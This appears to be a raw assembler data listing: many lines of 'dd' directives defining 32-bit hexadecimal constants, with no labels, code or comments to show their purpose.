dd 965533C6h, 3E1B5EAh, 0AE173F1Dh, 882EED69h, 4F4B0F8Bh
dd 4FFFF08Ch, 8DC33420h, 0CC48498h, 64BCF515h, 0F937D400h
dd 7446E96Bh, 5BE75CBCh, 530D58C2h, 20C22866h, 5A5F47BDh
dd 2A689228h, 0F040570Ch, 0F7C2F990h, 9B4AC2F9h, 950B3F18h
dd 637BB742h, 0E304688Ah, 0BC1225ACh, 4A9EC7E4h, 133FB830h
dd 301FB652h, 3CA32D92h, 95C0F22Dh, 860BDEF6h, 70C8FEF0h
dd 25B27F4Ch, 0E6DDA348h, 992B725h, 41E25BFFh, 6B20DA68h
dd 0E93F43E6h, 25D63C29h, 0E9F83AD4h, 7589A16h, 600C45B9h
dd 924CA519h, 256A291Ah, 0D442895Dh, 2BC57156h, 0F5B218ECh
dd 0BD6A16F7h, 56A7E467h, 0E30C534Dh, 8CEC91E9h, 55549DB8h
dd 4934E6A8h, 0F5BA6B4Eh, 0E777F6A1h, 1599331h, 7729541Bh
dd 0C9A06E2Eh, 0C5876013h, 0FF10BEF3h, 7AC844CFh, 0D65C5D70h
dd 9D418A58h, 0E357A1A9h, 0F8EFB0FAh, 475A0B36h, 0BA0BF729h
dd 0AC5ABDD0h, 0A6C186E2h, 0CE07E2C0h, 6E8002F7h, 0A8FC0965h
dd 0AC021DA6h, 61340F19h, 0FA2C457Dh, 0DC20CE90h, 0B0A8049Fh
dd 8AAF12AAh, 23EE4F2Fh, 912C1751h, 7ABAAE5Eh, 0A061AE2Dh
dd 0A268EB05h, 66FCB70Fh, 0E843D81Dh, 27273503h, 31DE75DEh
dd 3D4A0208h, 65C2E200h, 0EA873AE3h, 4829D9FBh, 96411B53h
dd 0DFB3987Bh, 0DC166069h, 0AB6885ECh, 0E02C8D1Bh, 2DC96E38h
dd 0E38D69D4h, 40874680h, 0DFF72F53h, 0AC9295DEh, 0D3BBB604h
dd 5F5231AEh, 0C32901B1h, 41330F30h, 70C86080h, 0D49D93B2h
dd 0DC933FADh, 0C31FB77h, 283F1F25h, 0D2BF20A7h, 0E3EB481Dh
dd 0F389D33Ah, 43D830A8h, 21C7CF7Ch, 0C7E3F2E7h, 18F883E2h
dd 5358AF1Ch, 791E54C3h, 63C95310h, 0A08F138h, 0BEAED768h
dd 0D16BE8BBh, 2F69C557h, 0E8850456h, 20A7555Dh, 0A6843848h
dd 0DE04BC58h, 0E352FC52h, 80D23A01h, 0F7CC3FCFh, 5CCEFD03h
dd 0E43500A0h, 53E883Dh, 0CFA9231Fh, 38C6890Bh, 0BBBEEDEh
dd 4637A45Ah, 0AD82A38h, 0DF46189Dh, 639247Ah, 4A013869h
dd 1D681E15h, 0D4326B11h, 6C7E38h, 0DC177DBEh, 9498814Ah
dd 493E5F17h, 0A4774E0Ah, 8E96141Ch, 0E0E2FEB1h, 827D6F53h
dd 94C48808h, 0C39FDF16h, 0EE3B46CDh, 238042D9h, 0A920D693h
dd 0D059F3E9h, 3E139624h, 0E70277C4h, 888858D3h, 20E3203Fh
dd 5A649618h, 0BD12A742h, 52F1C523h, 14BBE857h, 274EF372h
dd 9CDD3B85h, 23799F18h, 9ACE5D6Bh, 0A0DE8E20h, 1C4D3EE3h
dd 80482D67h, 9DA8B29Fh, 29E3C9E9h, 37C60548h, 2DC21835h
dd 84D70BBDh, 0F3C2332Eh, 0C435000Fh, 30255413h, 25DB8040h
dd 75B58BAh, 4880D3Eh, 0C9009976h, 7D731A33h, 23A8E916h
dd 0E48174A4h, 3A4C0097h, 0FABB531Ch, 6AE55F0Bh, 501329ACh
dd 0F9774F6Ah, 0A6C0EA96h, 7B8FC7ADh, 7DF48489h, 4713C594h
dd 0B103B700h, 9509F4ACh, 70C57680h, 6B5947Eh, 0B0070533h
dd 92DB01E0h, 0A0E9C5DAh, 0D37DC20Ch, 0A058EA8Eh, 8D492FA8h
dd 0CA4252F1h, 2908091Ch, 49991DB5h, 0E9077687h, 1B43E7E3h
dd 46D42FDh, 9B995808h, 36683A84h, 8F32AB08h, 2FA354F6h
dd 69C2CDDCh, 0FA8C412h, 3B611687h, 4DB0AF72h, 2F69ED01h
dd 0C838AF96h, 5B62F566h, 133E2F10h, 3605F329h, 3BA3698Eh
dd 436B7104h, 0A64C23Eh, 58ADA1C7h, 0A990E7h, 5FBB576Bh
dd 43100F58h, 0B43DF7CEh, 750B7589h, 2F6050h, 2B41B2ACh
dd 0EB31095Eh, 72A2C3E9h, 0EC40DEF7h, 963420F9h, 0CB091032h
dd 0F0A9C45Ah, 0D5C29536h, 0C1E8D95Dh, 502C57E9h, 40476895h
dd 140D482Dh, 0EED126CDh, 77420329h, 80F71A37h, 8F30F3Dh
dd 67A0CA92h, 0DF3F2313h, 44CF8739h, 779BD032h, 9540384Ah
dd 0C75C86CCh, 12086CDDh, 6B76B5CDh, 1C526658h, 0C253C688h
dd 0DEB4E9CBh, 0E97C5475h, 8FE11A02h, 0E8022B0Ah, 80423F02h
dd 7B12B9A8h, 0E52B922Ah, 7AE90841h, 0D029AD64h, 0C509CABAh
dd 3582E03Fh, 0F7747E90h, 311086A4h, 5CF3D140h, 64309F37h
dd 4819CC5Eh, 75027EE3h, 5D6785E9h, 6F890322h, 80D1F600h
dd 308412C1h, 7FCA21CEh, 0FE38A41h, 9109C2B6h, 5B01740Dh
dd 4DF9D9C3h, 0FBC92B7Bh, 6AF56342h, 976A75B3h, 0F49AB543h
dd 0AEB84B60h, 0EED38880h, 2456BDAAh, 8440A96Bh, 0E95D2E4h
dd 0BE8B95CDh, 744937B5h, 0A7092E38h, 9F7157F6h, 514D2817h
dd 0CFF78BFBh, 643556FBh, 8B66BE5Ah, 27727B7Eh, 4F7E2AA2h
dd 5C22B4DBh, 21CFB760h, 813AB600h, 510C9CF2h, 92F59D2Fh
dd 160FD5FCh, 0ADE874CAh, 0CAD1DA62h, 0B5675D69h, 5D2D0621h
dd 793FB920h, 3DB8460Ch, 0E14E3B55h, 0F5842A7Bh, 1A3CCABh
dd 28BDA0Bh, 0C2F1D65Ah, 0CB0E0BE7h, 2A277F77h, 3EDA1968h
dd 0E89F1A7Ch, 3F19463Eh, 4B933F38h, 0C70BBC75h, 44404750h
dd 1D28F181h, 816BE206h, 0CC4988E1h, 0A7A4966Eh, 0E26AA49Dh
dd 48BE0298h, 823BEB51h, 13F14FBh, 520C8D68h, 4F685534h
dd 332F30B7h, 41897F4Eh, 60A962DDh, 80584B3Ch, 7F17C2BAh
dd 4C840C48h, 5EC0F6BEh, 0EE4C05ACh, 3264EA10h, 44FE5C50h
dd 89EFB66Ch, 4BE21DE9h, 0BCD61C55h, 89931752h, 3EDEE12Dh
dd 0DC58E609h, 0E86C4C59h, 42763CB2h, 4D919624h, 0B00A578Bh
dd 0BE6D1B95h, 0C57549F1h, 0CF6807ECh, 4DDD0B28h, 59582458h
dd 736B7051h, 0E5CE0FCEh, 0BDB9A1FEh, 0FC920192h, 3B518565h
dd 2EDF018h, 0F03D4F4Dh, 0D740326Eh, 805B4C66h, 8082B174h
dd 98B35302h, 0EE26E380h, 0B5088CFEh, 0DDF709A5h, 23405D00h
dd 0E897423Ah, 79E6F526h, 0E93D0A67h, 8AFE6665h, 0A07141CAh
dd 9A74E9Fh, 0E3DD5B83h, 0E3E9857h, 2F167F02h, 8F98F2FFh
dd 85011482h, 6EDC177h, 162B8DE9h, 0D88B80EFh, 0FB2CB925h
dd 86094A89h, 5DA9E950h, 4AC083C4h, 3AD9FE02h, 12608B2Ah
dd 0B9090288h, 0B5FD968Dh
dd 501D09D9h, 25DB6F8Ch, 940509F3h, 4FF860C7h, 0E6F56B1h
dd 77CC325Ch, 30514074h, 4E5BFE3Ch, 0BB7B84EAh, 0B3B01DF9h
dd 1832E929h, 0FFBE2CD5h, 0F30BD84Ah, 0ABDB93DDh, 0BE6D5A8Ch
dd 2126284Bh, 7AB5682Bh, 8AD2CFADh, 0D9244576h, 5860264h
dd 5F0848C0h, 0C903FE01h, 0F7A23ABFh, 5FD7F897h, 556861F9h
dd 7EF9BDF8h, 35F8B01Dh, 0FF26E4A9h, 0F77FEB82h, 296F0C10h
dd 0C2954473h, 0D37455CAh, 794FA685h, 0A2EB82BFh, 9B2E285Dh
dd 4B39AE43h, 2444AA97h, 2C82DD79h, 0C15A0488h, 0AD36FC31h
dd 0D1D0CB6Dh, 0F323538Ah, 40D5450h, 0F74C0448h, 57F5D0D3h
dd 81026DB4h, 3917CDC2h, 97FB6059h, 9404164Eh, 0A8680B21h
dd 6C31FAE1h, 42C24ECFh, 1E0909D1h, 4595DB57h, 9362EBD0h
dd 76F5D0C5h, 9F44E84Bh, 0A7B95676h, 3C4CD5FBh, 11630216h
dd 0F1001EC4h, 7EA117DCh, 47DF24F7h, 10260597h, 0CFE0C0B6h
dd 3F057965h, 1663E928h, 0A00EF14Ah, 92C18180h, 0C708205Fh
dd 6173590Ch, 2ACA011Fh, 0F14B4F2h, 0E98542C8h, 0B037B010h
dd 704114Ch, 80CB864Dh, 0AF3001D3h, 7617822Bh, 65B05B8h
dd 0D954A2C6h, 98DA0195h, 0E1CA724Ah, 0F5A05E9Ch, 7D850FC7h
dd 2C664175h, 0A0EC41E6h, 874821B2h, 7E11309h, 8D25FFh
dd 3263C332h, 0C078B70Fh, 4A156813h, 40ED0788h, 9312BEC8h
dd 0D4051F43h, 0B2BBEAF1h, 1BB4078Eh, 5880E188h, 20E9CA30h
dd 0E7B0911Ch, 35255A7Bh, 0ED7454h, 0AB46232Dh, 8803056Bh
dd 0E978012Eh, 95E39E33h, 0A8EB3880h, 0F9E3026Ah, 3E113539h
dd 30C95880h, 9CE76259h, 300CC047h, 0BF731EC5h, 7E87C871h
dd 27F55C27h, 54E43159h, 5DFB6AC5h, 936B9306h, 0CEE9E3C6h
dd 1FE32B5Ch, 5588C0Eh, 0C8E75E0Ah, 54E403BAh, 840E442Fh
dd 0DF34AD6Fh, 8DAADFD2h, 936138CEh, 5146608h, 0AB88EFE9h
dd 0B8A2328h, 5911AB6Eh, 896AA55h, 9BBE4B3Bh, 53B5D3Ch
dd 276B6C67h, 0DA58EC00h, 16530750h, 1230428Fh, 0E1BCB878h
dd 618756D5h, 246CFCC5h, 5B37AF7Fh, 3B622230h, 422D5EA0h
dd 0F44DE9A7h, 57153AFDh, 565859D6h, 0BD003BEh, 68521666h
dd 7B1570DBh, 4AD72DCBh, 0BF0710EEh, 24F94A2Dh, 0D74C7DC9h
dd 1A001D4Ah, 0B450C7B3h, 0E3081694h, 43AE0958h, 102C6700h
dd 715F91E9h, 605A7822h, 270DCB4Ah, 86F70EEBh, 0FF8B60C5h
dd 4C67456Fh, 0D794FD4Fh, 89A028EEh, 786C35Eh, 135F9762h
dd 5DC6DA7Ch, 0E9A8677Bh, 5492F527h, 95F173C0h, 12F506Eh
dd 0E6952477h, 90C1A0DCh, 837EB1F9h, 3A31E3BBh, 5B19E4FCh
dd 0D0513B65h, 0C47EAFE0h, 0AB9A7C78h, 66CA87F9h, 3FC042A8h
dd 0E1536876h, 752B675Ah, 19B046Ch, 7ABC1351h, 0B367E84h
dd 9141575Fh, 2403CF68h, 0F180C9FEh, 0B3921CF0h, 18D9178Ah
dd 0E04BD291h, 0D52EBA81h, 5EC9FA13h, 406FCCFDh, 6EA2F66Bh
dd 7CB7423Bh, 135F0204h, 0EBA83D38h, 95E0407h, 844CF857h
dd 92E83AFCh, 0C785C4h, 725795BFh, 37AD987Dh, 615B1842h
dd 889740A2h, 0BA89F2Ch, 0B200C383h, 0B52023E3h, 66EC3050h
dd 0CDA4913h, 456B0100h, 32E91D8Ah, 5D34BBD4h, 0EA550942h
dd 32EA7670h, 50775895h, 91B9053Ah, 0C341C843h, 0D3C8D74h
dd 8EBBCB01h, 3BC145DBh, 4AEFA03Ch, 0D7CFFA5Dh, 0BA294335h
dd 0A6AC0F56h, 4E86DE16h, 0C9E6D7CAh, 91BE4Dh, 63F81980h
dd 5CE829F1h, 5315B5Dh, 0AD284B68h, 10BADED1h, 0B2680B79h
dd 0BAD0D138h, 0F4E66427h, 4F534E38h, 60EF8CBAh, 90BF354Ah
dd 228ACE26h, 13404948h, 0F688E84Bh, 7AD99731h, 4AE88069h
dd 971E675Ch, 3B2F226Ch, 943BDF82h, 7A49E4E1h, 169FC4E2h
dd 0E843FFB6h, 80668BE5h, 4FD5F720h, 0AA50F053h, 519B7A12h
dd 147140BFh, 89E8A7A0h, 7C43D748h, 29081512h, 4C3C6404h
dd 0A1468CBAh, 13B87507h, 6DC7F181h, 0F52D2710h, 1DB3301Bh
dd 37246FC4h, 0C6123B7Bh, 85010A28h, 59F4E9F8h, 6410E939h
dd 2AB90393h, 0D26E4B06h, 90D8F8CFh, 814C5BA3h, 0EE3F4Fh
dd 2CBBBD55h, 552C42h, 0BCE3B1C5h, 0E97109EDh, 77B3CA71h
dd 641B1C09h, 0F45560A5h, 76F45F5h, 0C527095h, 6B2A14DFh
dd 0F8F326C6h, 0C84E896Ch, 0AB3ECD29h, 93B86E13h, 55E6442Fh
dd 9A09909Fh, 6279B4E3h, 457DAC1Bh, 89579FB1h, 0A8D63A0Ch
dd 0E4AE5865h, 34693F82h, 0C44E5D38h, 707BE4Eh, 7E2EC180h
dd 0FAF8FF52h, 0CE20C79h, 730AC2FEh, 0E98CD4FFh, 5CB36A2Dh
dd 2F62ECFBh, 28A66C91h, 60CB5C6Bh, 0E7CA4AF2h, 0AD16B84Eh
dd 0F78170AFh, 7AB0CC10h, 50049789h, 3368590Ah, 0C12568F9h
dd 0F6E40DBh, 6BDD417Bh, 3033450Ch, 1D1F4E45h, 0DB961CE7h
dd 4B4141C0h, 0E12E4E77h, 8743B10h, 71B4F7AEh, 0D7E89569h
dd 0E90948C7h, 4DB7C2F9h, 83318B2Ah, 0A4BAFD9h, 0B9815A2Ch
dd 363B29Eh, 0C829F17Fh, 50B505E1h, 4109E47Fh, 31CC2B76h
dd 6CC60181h, 29031955h, 595E3EEh, 0D061E908h, 0C7835FFDh
dd 29B2015Ah, 0CE1BAA02h, 2BC1977Ah, 0DD02F738h, 0FB3452C3h
dd 3F3DFC16h, 0AA9B3912h, 0D1D3E1B2h, 64731713h, 0C7138012h
dd 0A6BBEF33h, 0D8FB4BB6h, 0AA5AE952h, 8EEE0C13h, 77C31361h
dd 0CFAFBF57h, 7A604A64h, 0ECB8BB53h, 4B383879h, 0FD00F5D1h
dd 1333785Fh, 5620E96Ah, 1B98EFA6h, 6F3241B8h, 80EBAE84h
dd 4A1E8381h, 24EB6F4Bh, 0E692BEB8h, 77BCEAFDh, 5DF1B774h
dd 79A6B13Eh, 0FE95D3E1h, 0E9C3FBA8h, 0B362530h, 0C0F39170h
dd 308E5F27h, 0CD0A814Dh, 0C6AB69D6h, 802DC501h, 0C5608450h
dd 0E8200E27h, 9CDA010Eh, 2C8B0802h, 0F2D6D677h, 0FF77F484h
dd 4C9F2DF2h, 681AF72Dh, 0C628FE27h, 54672D24h, 4AE0CE66h
dd 97EB0180h, 25860456h, 282AF521h, 45165833h, 84E317B2h
dd 0DD9F9597h, 0A2C540BBh, 4731114Eh, 0C33190F7h, 0FB8F1004h
dd 1D10D30Bh, 21C53B0Fh, 0A1ACE828h, 0C6C8C888h, 28590258h
dd 369E9EEh, 0C1E196FDh, 0B9259F7Ah, 0C357304Bh, 5CE77C12h
dd 8413BEDh, 9687130h, 669F6D1Bh, 0EAB2B0D7h, 0B6713A3h
dd 6986A0F7h, 5FAC284Ah, 7B83C0F1h, 91174E74h, 820C69EBh
dd 6EE95267h, 4F9BDFFEh, 0CED5EE8h, 0AA0DA8C0h, 2A6812B9h
dd 81753420h, 0D8D35998h, 5D9BE907h, 0A669BFF6h, 31588CA2h
dd 64F2D477h, 83F0BF2Dh, 0B4635BE9h, 4CC155ADh, 27EE6BADh
dd 61100D7Dh, 6856005Dh, 54916472h, 5C13F85Eh, 0EDD36CAFh
dd 8BBA4F59h, 0D1018584h, 0E90965CBh, 0B9BA5526h, 0C4A39E3Ah
dd 0FE857046h, 8B2E9A99h, 30344BD8h, 12598BBAh, 15605659h
dd 27461FC1h, 76DC78BFh, 5FDE08A0h, 0F6DF9D0Dh, 87100922h
dd 2D583F4Ch, 2D130056h, 4AA55059h, 58E17Eh, 0E8015F07h
dd 88E26595h, 5C13B07Ch, 0A14416BBh, 31B36AA1h, 3D7D0C60h
dd 0EC90EF91h, 624736C9h, 2D67E60Eh, 0FE3A72D4h, 9F0ACEF6h
dd 27BBF4E6h, 10DEC3EDh, 0F78E435h, 29B613B5h, 0C4A80230h
dd 41B90734h, 7048110Ch, 738B6D2h, 1C43DA5Dh, 0B20219CFh
dd 49586017h, 5F8C01B9h, 25E9F931h, 0ED4659F6h, 78002A0Dh
dd 0E87E5605h, 77C2A074h, 6BB8253Ch, 0B04BFE72h, 9EAEE1C4h
dd 84C34C8Fh, 0D71F52E4h, 0B115E89Dh, 6827DC3h, 0D50FE953h
dd 0C9CE9A57h, 2D862835h, 0AB07BE68h, 0A056230h, 7404460Ch
dd 0D0B01309h, 6B06EBE8h, 180EC834h, 0AD404CE9h, 7C1619EEh
dd 0CCAF3F7Ah, 474DCCD1h
dd 17680BC5h, 20334431h, 0BA052F63h, 54C20E08h, 4FD6F51Ch
dd 20EA2B17h, 0A02E999Ch, 236B1FC1h, 0F76805B1h, 443EA748h
dd 3C3AEC90h, 13AB0B2Dh, 9DB874C5h, 43D06E68h, 94E9304Fh
dd 0B0252C89h, 2D341E2Dh, 11583538h, 0DF556838h, 0D472630h
dd 0E0765B1Dh, 0CDB893E1h, 50BD56E6h, 0BDCAC035h, 6D304436h
dd 370B6DB0h, 707CD076h, 253C7755h, 2EFE7DF0h, 3DD6E961h
dd 9D10427Dh, 0EEE45049h, 6B680A38h, 2183D5EAh, 0CB02164Eh
dd 85096FF6h, 0AE25514h, 6E91AA60h, 7649022Fh, 12F38943h
dd 2F40027h, 8784E228h, 2CA9B0ABh, 0B450FC09h, 780D0735h
dd 0EB57E307h, 5FBE5854h, 0C732B112h, 2EA33B55h, 8AB1DFC4h
dd 5D2D4C72h, 55C325E8h, 0F5C9F2C6h, 2188C05Ch, 25F4AF8h
dd 16E868E8h, 8D2D0B6Ch, 7923E435h, 0B2FB2755h, 68A19F66h
dd 0FFCD2E4Bh, 0B66D0CE0h, 569F848Ch, 6CA8815Ah, 787626Fh
dd 7AA72ECFh, 0D62C32B2h, 89AC711h, 28926247h, 14DD6FAh
dd 7A24422Dh, 13CB2C57h, 0D7D234B1h, 5A0D7E02h, 8993FE77h
dd 0DB7757DAh, 0EB0647E8h, 3A1B3BB1h, 9DE3EB17h, 0BA77BD84h
dd 7D940075h, 12818BAAh, 0E6AF54CEh, 0D6F414FCh, 0B9388438h
dd 0BBF50113h, 61CA7A4Eh, 4EBD3F51h, 0B49FC085h, 651EDFEFh
dd 0A8C96A1Ah, 25E77255h, 0B8513704h, 6DD22DC0h, 21064A40h
dd 3E57E9A6h, 459E609h, 84BC96DEh, 0AF82BF4Bh, 0D55B758Bh
dd 4991143Fh, 31DA5F56h, 0B07D3B69h, 808C9A9Bh, 7EE4B42Ch
dd 0F65269F2h, 0DC61898Eh, 8FF42FB6h, 312B4A7Ah, 0DEB0E9BEh
dd 8864F795h, 1F8920Fh, 5017ABFDh, 0D8280992h, 0BFFE4F2Ch
dd 71816A42h, 0B6744233h, 0DCDA81E9h, 0B4B9571Eh, 7467F7E9h
dd 0F03CE98Bh, 84769FB2h, 44DCF9DAh, 6C04FA5Ch, 46C25251h
dd 2CA67DE5h, 14D241C8h, 0C35F9CF0h, 43705CECh, 2DF9AFF4h
dd 0F3258F94h, 0F18141A0h, 513B21EAh, 68C90327h, 4492E54h
dd 0E8DAAB18h, 32B8BE87h, 0F6E2DF27h, 6940F3F7h, 0B982745Eh
dd 0D5635A5Fh, 0EAE18043h, 12B36E81h, 0F2607627h, 0FE3C2CB2h
dd 38C893CAh, 71417A90h, 0BE254E61h, 39DA2E21h, 0C5D0B97Bh
dd 5E81F9F7h, 0E8076970h, 3E457E08h, 26F3299Fh, 95EF09D1h
dd 0A849C87Fh, 0B2366227h, 2CA4BDF7h, 8DC8FE5Ch, 0A12B4CE2h
dd 0B117FAA4h, 0EFD734F3h, 25F89535h, 4149BE8Dh, 0BC4F7F01h
dd 914DCF9Bh, 7B3121AEh, 0F1EAB87Eh, 0B900C8FBh, 0C12E701Ah
dd 9E004F0Ch, 0E906A05Dh, 0AE8D4B90h, 22728431h, 0E876316Eh
dd 27DB4B7Dh, 0D5E7B25Dh, 0E96163D9h, 6D6B246Dh, 0CBF22FDDh
dd 732AFFD3h, 0FC2075Dh, 0E8783485h, 53E06816h, 84C62161h
dd 2DB1AD03h, 0BB0C93BAh, 42563304h, 91EA9FAh, 0F67443D1h
dd 4940279Bh, 6B1665BFh, 3E024BCEh, 0DEB43194h, 66B8304Dh
dd 3700D049h, 126CBF57h, 962956A8h, 0A05ECD4Dh, 68D0102Ch
dd 0C9E9381Ch, 72D5823h, 41FB1385h, 0E1C0ED60h, 0BF4DB05Fh
dd 7F951548h, 0E114D327h, 844C248h, 36086580h, 0E97209BDh
dd 7E747902h, 0F80B95A0h, 0F82E1B4Fh, 0AA68164Bh, 4067A37Bh
dd 2827E910h, 1647C54Bh, 8028C06Ah, 0F7E6A6CFh, 0F9886B0Eh
dd 4CCB6B5Bh, 48B46347h, 633B795Eh, 0C84FACC3h, 2A28BD9Ch
dd 9071DC2Dh, 2F63B3E2h, 0DED8EBC0h, 0E94B2A04h, 8EFA5A93h
dd 0BF277E46h, 4C20463Eh, 0F38000D8h, 3FB65935h, 261B6819h
dd 6725946Fh, 0E41324E8h, 344B9812h, 0BB36CB09h, 0BF5B8EF8h
dd 5C259A2Fh, 27036D57h, 300C9A7Bh, 0FCD5348h, 0F840211h
dd 0B3964066h, 121AC304h, 0B5FD6882h, 0C7490841h, 983AB871h
dd 734422F7h, 511938B8h, 4A78AA2Fh, 93FD52D7h, 66974E60h
dd 0E9250137h, 5B38E1F8h, 0C36FED7Bh, 18313C68h, 0B1AE65Dh
dd 2B96297Fh, 3BC83044h, 0BE19D373h, 0CA015E16h, 755E38A4h
dd 0C70F7EBAh, 0DEEB8AA1h, 0B0436D75h, 0A2D1E90Dh, 9B5450CCh
dd 0C23AB450h, 0D00C5244h, 12751EC5h, 0FC55CB35h, 56A596F4h
dd 48C37839h, 3E702602h, 0D7649F68h, 99C8051Bh, 3CEF095Ah
dd 0B951A05Fh, 586B1673h, 0E36F0162h, 0DA52EB49h, 0F00B9080h
dd 0FF66511Eh, 6C16594Ah, 82BA3B01h, 0D89D7378h, 2D5B09BEh
dd 4BF76B4Fh, 0E60FC82Fh, 7F9E9842h, 12A809BFh, 3CDFE929h
dd 888498BDh, 4BA368FAh, 0EC603116h, 7BD13169h, 0AAC654E8h
dd 0C522477Ch, 9EC0B501h, 0A14F4EC0h, 97BE0984h, 0AE3B6597h
dd 0E9305539h, 6C2B02F9h, 4C7CE926h, 0BF83DE54h, 13B2844h
dd 290C5F0Ch, 30F0317Eh, 0D99578B7h, 10AFE281h, 0EE97CFD1h
dd 0EE3B6FA1h, 0F4687671h, 2C4EB778h, 0F32DE974h, 5EDD74FBh
dd 9FB6812h, 0A25367BAh, 0AFA25564h, 0E6F51B9Bh, 20CB5908h
dd 124B524Ah, 0FF5FBB49h, 0DF4521CBh, 309302C5h, 3F557A05h
dd 0EBC5A6A3h, 7BAFE703h, 3D75C52h, 0E8FD99EAh, 3FF5DF49h
dd 0E5EB3DD5h, 20834343h, 717908E1h, 0B734452h, 4FE45E08h
dd 707DCCA2h, 91E9162Eh, 0C951ADC5h, 13E6C85Ah, 9CDABC11h
dd 5733902h, 295EF331h, 7BE32DDAh, 0E913BFCAh, 2F92F153h
dd 0BE4888F0h, 0BB5E13ECh, 3C879B71h, 1261BE2Eh, 430C6FF1h
dd 0F83B2741h, 15398D82h, 0E9E01F62h, 0C6B5D4E1h, 0AF865179h
dd 0C5E9A83Eh, 6ACD21DFh, 317F826Ah, 1A7E1FCAh, 35D3D0C4h
dd 0F8135E5Ah, 0C7904F03h, 4C5D3E23h, 35B22317h, 0FFF40E8Bh
dd 0B4A34913h, 4D57FA5Eh, 60B8DDBBh, 73409AF8h, 2082A429h
dd 547F26B7h, 0CC06E02Fh, 26FD97A4h, 4B29A3C1h, 6AC7AE5Fh
dd 5AED259h, 0C27961EAh, 699C0503h, 0E99F818Ch, 12162E0Dh
dd 0B6B086FCh, 0C6603036h, 3EE9581Dh, 84C89C7Ah, 82DC1F75h
dd 0A749CC32h, 70FC2828h, 0C8FAE44Bh, 5EBD5E86h, 0A868612Fh
dd 32A62F6Ah, 2A39F796h, 2D0190E1h, 3AEA2F4Dh, 0B930E0D1h
dd 0F2660269h, 34C1E965h, 0A103E164h, 29451F50h, 0D867EAC8h
dd 0AB534E73h, 869812Bh, 4E6EBC7Dh, 819DC47Dh, 2A7C692Fh
dd 6010BDCEh, 814B00DEh, 0D66673E3h, 0D20CC165h, 80568E40h
dd 2999AC80h, 14DA01F8h, 2D6ADBE9h, 0AF642313h, 802B273Dh
dd 0E90EB655h, 34D2BA7Dh, 3A04ABFh, 0BC7812C1h, 253C98Ah
dd 72C9751Eh, 0F1AFBD53h, 166BD074h, 25040DEh, 0AA008272h
dd 68973E48h, 68E1C12Ch, 7574C900h, 5ED15D16h, 47C90E9h
dd 4A4BE5EBh, 4F15FBB8h, 0D44CE861h, 0E7F13A7Fh, 78089675h
dd 99DD7E9h, 8D455720h, 0ACE7AD3Fh, 7C265CC2h, 2F99BDAEh
dd 51977053h, 786C3107h, 7F71E281h, 669768D3h, 1109099Ah
dd 0D762D389h, 6F160EC0h, 805F093Ch, 0F37F6EE7h, 9E94E908h
dd 0EE8003B4h, 5AD82073h, 2FFAD3F6h, 5B0A664Dh, 4081F9C2h
dd 6D05523Dh, 69C124Fh, 88070C08h, 5F518B69h, 5DF699C2h
dd 0F59AE74h, 212F072Ah, 0D03674F9h, 420DB93Ch, 12757E3Dh
dd 94CD054Eh, 0A704AB79h, 0AE43AB6Eh, 0B94C370Ah, 0E489DDA5h
dd 5BF841DFh, 7A0EE82Eh, 8C2B9512h, 0E4C74501h, 0D805A4Ch
dd 620256E7h, 28D0F729h, 140C6808h, 5193521Eh, 0C7804317h
dd 480457BBh, 4476445Dh, 24C5DB77h, 0DCBB4A34h, 0B8715003h
dd 37886616h, 0E15C41BEh, 0EC334B03h, 3CF8BF57h, 9E3AAC28h
dd 0F679050Ah, 120F9622h, 0B2044A61h, 99240848h, 3A53AB16h
dd 4449D1EEh, 23CD6E65h, 0B64D56E4h, 21EB83B7h, 0C09123Ah
dd 0DE64B479h, 91CE007Ch, 524B3265h, 0DC31E925h, 49F1812Ch
dd 2B85E37Bh, 7D42779Dh
dd 84197C8Fh, 0C7F3020Eh, 3416AF94h, 68FE0BF6h, 5A17E654h
dd 3C2EEACBh, 0CD2D6209h, 0A359FFA9h, 259F8B3Dh, 3B18DC71h
dd 0B02F4ADh, 42D7BEBAh, 0A843FFA2h, 0FB57D3FAh, 0B4576B14h
dd 699424D5h, 21F2837Ah, 7ED2D428h, 5004CD7Ch, 0ADE6AD68h
dd 106BC318h, 0D095F308h, 6B60E91Fh, 1E770468h, 1C5CFAE9h
dd 42AB2DFBh, 0C477DF0h, 753CF90Bh, 0E93F8A96h, 609C5FC7h
dd 18B82568h, 2F8BABF1h, 83099103h, 90F69EE0h, 0F15A5E88h
dd 0DC826B6Bh, 1732C04Dh, 29C41E4Eh, 0F502BCD1h, 7CE03928h
dd 1214A25Fh, 0CD0E0FA5h, 4152DEE9h, 81B9C24Fh, 0E596592Dh
dd 0E8FAD19Dh, 65B410ACh, 0DBBC2A5Eh, 5E8A9C5Fh, 7BE07013h
dd 140D6001h, 0BC7F20F7h, 12F20756h, 5689F47Ch, 0D1BE16F4h
dd 60EDC750h, 0FBFA42EBh, 0D8B659FAh, 453D3500h, 1721109Dh
dd 85658C6h, 792F44AEh, 82811D21h, 5C266A17h, 683A7F60h
dd 186DFD30h, 5B0A0BA5h, 46DDE14Eh, 5E48C53Fh, 89A027B8h
dd 0A1CCD735h, 0BA595EA1h, 7ED78729h, 0D8E23744h, 5B078105h
dd 0B23EC801h, 6146C1B0h, 25307690h, 1D878254h, 8D20A878h
dd 7A7B870Ah, 3C4D3C5Bh, 0C0E2F402h, 0D8F24Bh, 31735E9Ch
dd 92AEE9D0h, 5296D597h, 0F6528020h, 963739EDh, 0C7930FA5h
dd 0E3F0B0A2h, 92CE595Bh, 0F01BE913h, 350948A7h, 41A45865h
dd 9FE029A4h, 0F0210771h, 2B43935Eh, 0E4AF0257h, 7D9C0915h
dd 956D8F22h, 17744A76h, 0FB366CE9h, 648365CCh, 0E1775572h
dd 3EA561B0h, 0BE2E2D9Ah, 5F3EC073h, 12E3135h, 82050F3h
dd 8B5BE915h, 94E949CBh, 1FE94A1Ah, 9208A382h, 5E55CAE2h
dd 16C72566h, 40B6DFA5h, 0B000574Fh, 369C3AD9h, 62D5158h
dd 1AEB53A4h, 0A7D19540h, 0ADCD15BEh, 4FE603EFh, 1D078438h
dd 0C477B60Ch, 0E1BDE90Ah, 0A53478ABh, 532D0BBBh, 5875084Ah
dd 5B5D3E51h, 9FFB6EA8h, 56E304D6h, 0D5044C57h, 21F8045Eh
dd 96EEE2E8h, 0EF8156EFh, 5304E59Fh, 0BF80D1E9h, 2568B830h
dd 31E69516h, 0DB47F401h, 0EBE3E943h, 55F19D2Eh, 101F0135h
dd 207CE565h, 0DC50C78h, 0A5C2EA01h, 50FA5D9Bh, 7498B4A0h
dd 81176706h, 120D94EAh, 0FADF14E9h, 524EA431h, 6284EE05h
